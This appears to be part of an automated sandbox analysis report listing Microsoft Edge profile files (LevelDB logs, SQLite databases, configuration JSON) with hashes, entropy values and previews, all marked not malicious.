MD5:	49F9AFB9AA56413390DB8917369D1DE2
SHA1:	AB055CA9CBC003E982C58114C615F8116F4465C3
SHA-256:	CD3B5367643D449C6EE930D90A7A33FBCCB3883C7D967FBA78456586EB3B7040
SHA-512:	896C9FA40CA792260773B8C0AD6E8B52D71F0ACCE5F38ADCE9E84C8D4D6FAD78AB719D1CE594C10F545CE2C97FBE2CFB9559EBEFD0D8F2C3F71086BB883F7701
Malicious:	false
Preview:	2024/10/30-22:04:20.345 1fa4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-22:04:20.346 1fa4 Recovering log #3.2024/10/30-22:04:20.346 1fa4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.116430400825693
Encrypted:	false
SSDEEP:	6:6HYWyq2P923oH+TcwtnG2tMsIFUt8vHYJP/1Zmw+vHYJPpRkwO923oH+TcwtnG2b:6HYWyv4Yebn9GFUt8vHY59/+vHY5pR5l
MD5:	49F9AFB9AA56413390DB8917369D1DE2
SHA1:	AB055CA9CBC003E982C58114C615F8116F4465C3
SHA-256:	CD3B5367643D449C6EE930D90A7A33FBCCB3883C7D967FBA78456586EB3B7040
SHA-512:	896C9FA40CA792260773B8C0AD6E8B52D71F0ACCE5F38ADCE9E84C8D4D6FAD78AB719D1CE594C10F545CE2C97FBE2CFB9559EBEFD0D8F2C3F71086BB883F7701
Malicious:	false
Preview:	2024/10/30-22:04:20.345 1fa4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-22:04:20.346 1fa4 Recovering log #3.2024/10/30-22:04:20.346 1fa4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6142031948318237
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWjYMJTMAqnF:TLapR+DDNzWjJ0npnyXKUO8+jTYTpJmL
MD5:	D9AC0FE108D3D5BE3FC3F958DA94DB6F
SHA1:	FA2B3FA2CABB63814077B3069B3AB14A49D81849
SHA-256:	0B6AEAD623CEF10F8AEF71CDA7FDD82C6BBAB2DFBC81DCF004C840A229AABE2D
SHA-512:	C3DA2F684E55620FD3C5C7BBD17EABE8263A70EC37FCD5088E76EB11A980520DB825D4E8240D1FAA44ED7C9C141BE225D4E3B38AE6D743FD0D324A0437BB128C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354108869951734
Encrypted:	false
SSDEEP:	6144:5A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:5FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	A8AE16A0A8363303D8799D752EF231F8
SHA1:	8C2E95963CD576E078741F2225D0B2D32377A5B0
SHA-256:	0E119B031981AF9AB546501C6B88950A9CCE6D6AC13CC02379C6A3F62DD42CF7
SHA-512:	6AD027FE15C8FB90E0EEBB5DE5F126C40D3E0D761014DD11ADF3213E5432F2A06F0FDC2C3AD270CE4B3E94AC876321A17C8DEBC0766B1D3D5E164D5AEB10D60F
Malicious:	false
Preview:	...m.................DB_VERSION.1..=3q...............&QUERY_TIMESTAMP:domains_config_gz2...13374813867057119..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.166282920607615
Encrypted:	false
SSDEEP:	6:6HSkq1923oH+Tcwtk2WwnvB2KLlgHSzq2P923oH+Tcwtk2WwnvIFUv:6HSsYebkxwnvFLCHSzv4YebkxwnQFUv
MD5:	089007AD87A3C940E7C77AD464F9C5C4
SHA1:	B557BE26CC6DFBBEC60275665426E562F13F1E57
SHA-256:	C6404623A82B6EFD1E7270A8F10C6404BCB3C1C44A6C86EE7F3B55B4D65A95C7
SHA-512:	AFDDBA9800244C688D8D640FE1A37216ADD4935B12361D9E5C7B6B241ADE7DF12847377CECF967C30E26CA39305D958456B0E8D71D6D05CF68950198509AD7C3
Malicious:	false
Preview:	2024/10/30-22:04:25.766 2090 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/30-22:04:25.879 2090 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611396087622
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R4:C1gAg1zfvQ
MD5:	FF3D314101C036BC97AFD7F68131CB71
SHA1:	4F42CFE6FFAAA34BCCC06E35E3FDDCCC0F41602F
SHA-256:	5FCC747F5D679EC5B5422E5956077966FD58A9B009FAE3864150758CF288E7D5
SHA-512:	F3A8E2E3ECCF420B27CBFFF87862E654D9B257CD3A6A2CD77D2E224268B8F6B899425128A30009EC2663284BC5E7EF87DF78C9BDD4DEC0E6C466DC8A77BE25FD
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.081755601128486
Encrypted:	false
SSDEEP:	6:6Hm31yq2P923oH+Tcwt8aPrqIFUt8vHi1Zmw+vH0RkwO923oH+Tcwt8amLJ:6Hm34v4YebL3FUt8vHi1/+vH05LYebQJ
MD5:	6587A6D8458C534FB6B5060C5A86C088
SHA1:	4146A4599004A83D2EF45EC3914B197FC0199F93
SHA-256:	C49C28DDC0D89B7287744C70BA43710E3DAA413F9E448D8D400F9FED6E18E517
SHA-512:	8177BA1E47846F9610DF6F80B57FC818C6FD2BD1CA476936663BF884CA767FD7F28E86DCEB9370E8DA7A8A0204990F899EA0EA8A55FB34E99AF825A6EA8F7C6F
Malicious:	false
Preview:	2024/10/30-22:04:20.436 5a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-22:04:20.438 5a0 Recovering log #3.2024/10/30-22:04:20.438 5a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.081755601128486
Encrypted:	false
SSDEEP:	6:6Hm31yq2P923oH+Tcwt8aPrqIFUt8vHi1Zmw+vH0RkwO923oH+Tcwt8amLJ:6Hm34v4YebL3FUt8vHi1/+vH05LYebQJ
MD5:	6587A6D8458C534FB6B5060C5A86C088
SHA1:	4146A4599004A83D2EF45EC3914B197FC0199F93
SHA-256:	C49C28DDC0D89B7287744C70BA43710E3DAA413F9E448D8D400F9FED6E18E517
SHA-512:	8177BA1E47846F9610DF6F80B57FC818C6FD2BD1CA476936663BF884CA767FD7F28E86DCEB9370E8DA7A8A0204990F899EA0EA8A55FB34E99AF825A6EA8F7C6F
Malicious:	false
Preview:	2024/10/30-22:04:20.436 5a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-22:04:20.438 5a0 Recovering log #3.2024/10/30-22:04:20.438 5a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.073430766575798
Encrypted:	false
SSDEEP:	6:6Hi9yq2P923oH+Tcwt865IFUt8vHn+1Zmw+vHc8N1RkwO923oH+Tcwt86+ULJ:6HiAv4Yeb/WFUt8vH+1/+vHcuD5LYebD
MD5:	5BFA8EDC0E1D96C1C99442772CB8C339
SHA1:	393FBC7AB8372737AA5F640E9B26843EC1629F4C
SHA-256:	D7B43476903438F7A460BD12C44C5CAA6271F44704DF9492DDEC9A15C532B4FE
SHA-512:	48574D78E4F30F2C35030BA6A5E53A20F65B7E694D0AEEFF6212F75144DBDD6423052D1CA81804E0F20CC0B4957DA43CF11FB96CB345AB11EC31B8D045D4F5A9
Malicious:	false
Preview:	2024/10/30-22:04:20.443 5a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-22:04:20.445 5a0 Recovering log #3.2024/10/30-22:04:20.446 5a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.073430766575798
Encrypted:	false
SSDEEP:	6:6Hi9yq2P923oH+Tcwt865IFUt8vHn+1Zmw+vHc8N1RkwO923oH+Tcwt86+ULJ:6HiAv4Yeb/WFUt8vH+1/+vHcuD5LYebD
MD5:	5BFA8EDC0E1D96C1C99442772CB8C339
SHA1:	393FBC7AB8372737AA5F640E9B26843EC1629F4C
SHA-256:	D7B43476903438F7A460BD12C44C5CAA6271F44704DF9492DDEC9A15C532B4FE
SHA-512:	48574D78E4F30F2C35030BA6A5E53A20F65B7E694D0AEEFF6212F75144DBDD6423052D1CA81804E0F20CC0B4957DA43CF11FB96CB345AB11EC31B8D045D4F5A9
Malicious:	false
Preview:	2024/10/30-22:04:20.443 5a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-22:04:20.445 5a0 Recovering log #3.2024/10/30-22:04:20.446 5a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.109677278451912
Encrypted:	false
SSDEEP:	6:6HeSQGDM+q2P923oH+Tcwt8NIFUt8vHeSaFmpgZmw+vHeSaFmpDMVkwO923oH+TG:6HeyM+v4YebpFUt8vHeTFd/+vHeTFYMi
MD5:	1DB16A987C127BC6A8CB91A3DF92587B
SHA1:	B4FA615E62A06832C1C7A2FB2FFDD775708A2A1B
SHA-256:	4DAE8BFA0062B07FFB55DDF15488975A331929AD827F03FEB61F568A24781554
SHA-512:	3EFA36C9EC12C224027C790BE1454AD956B39B5407644E8737266B3793B2EB0AA762480644A6D4BFE738A1C7513714BAB77E1F0A73CAFC47A1ECA742C550DCB8
Malicious:	false
Preview:	2024/10/30-22:04:21.752 efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-22:04:21.763 efc Recovering log #3.2024/10/30-22:04:21.763 efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.109677278451912
Encrypted:	false
SSDEEP:	6:6HeSQGDM+q2P923oH+Tcwt8NIFUt8vHeSaFmpgZmw+vHeSaFmpDMVkwO923oH+TG:6HeyM+v4YebpFUt8vHeTFd/+vHeTFYMi
MD5:	1DB16A987C127BC6A8CB91A3DF92587B
SHA1:	B4FA615E62A06832C1C7A2FB2FFDD775708A2A1B
SHA-256:	4DAE8BFA0062B07FFB55DDF15488975A331929AD827F03FEB61F568A24781554
SHA-512:	3EFA36C9EC12C224027C790BE1454AD956B39B5407644E8737266B3793B2EB0AA762480644A6D4BFE738A1C7513714BAB77E1F0A73CAFC47A1ECA742C550DCB8
Malicious:	false
Preview:	2024/10/30-22:04:21.752 efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-22:04:21.763 efc Recovering log #3.2024/10/30-22:04:21.763 efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:A1DntFlljq7A/mhWJFuQ3yy7IOWUb4m/dweytllrE9SFcTp4AGbNCV9RUILO4n:A1w75fOL/d0Xi99pEY1O4
MD5:	E454BBA40C6EE6BB840025C91ACD46E2
SHA1:	9130200D4A1152EF908E92C8A3C3A33C382F3543
SHA-256:	1D38873F9B16375150D56D6F4B326444C45DCBF617658D37D5A6763DE02DCDAF
SHA-512:	A29D90216BBDBFF1067408FAA490F1C6FE8863F7D7406743E98D8C42718DB0B260F30FF828B5D53C006D3D503B032885679A33962A4DEE6D69F8220FB2E3B3C3
Malicious:	false
Preview:	.............0.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477372942424546
Encrypted:	false
SSDEEP:	384:aj9P0xxP/KbtfjlgQkQerGcg773pL9hCgam6ItRKToaAu:adwP/ylge2pg7Pv9RKcC
MD5:	7285C7358A1CFD7685046CB8F4899A3E
SHA1:	2B993CD42C9BE128E59F7CCF675ADB34ADAFDE65
SHA-256:	203B1D6301FB7C5259A5C2EF3C7045E261A95DFFCD278F85E424EF7630CC2AC9
SHA-512:	914EF7CB273B9535FE3D662C71C91AC5CBA4F3BE49326A072D0F92BFF7224772EB5EF340919BDFE1BC82A5BD089CB0DDBA06188FE345D4AC25A7014E839D661A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.228593810199526
Encrypted:	false
SSDEEP:	12:6HSEM+v4Yeb8rcHEZrELFUt8vHSU/+vHSPMV5LYeb8rcHEZrEZSJ:GL4Yeb8nZrExg8viTLYeb8nZrEZe
MD5:	0A9C805FF408EB2D20FE6AB88ACE0325
SHA1:	7274098ACDA399C1CE376974FCB92B6F6E18269D
SHA-256:	F0C0E7490A32D16D603439ADD6C945C112F36113762D58C0887CBD5FFC7F0872
SHA-512:	3FD84B63CC62DDE2D9E287F8B3B3184E81C448F1B8BAC09FA773A86517F38BEBD8B732CC8C179C1AB92FF43D815C110570469D20B88D425AA8E37C9CE9153814
Malicious:	false
Preview:	2024/10/30-22:04:25.538 efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-22:04:25.539 efc Recovering log #3.2024/10/30-22:04:25.539 efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

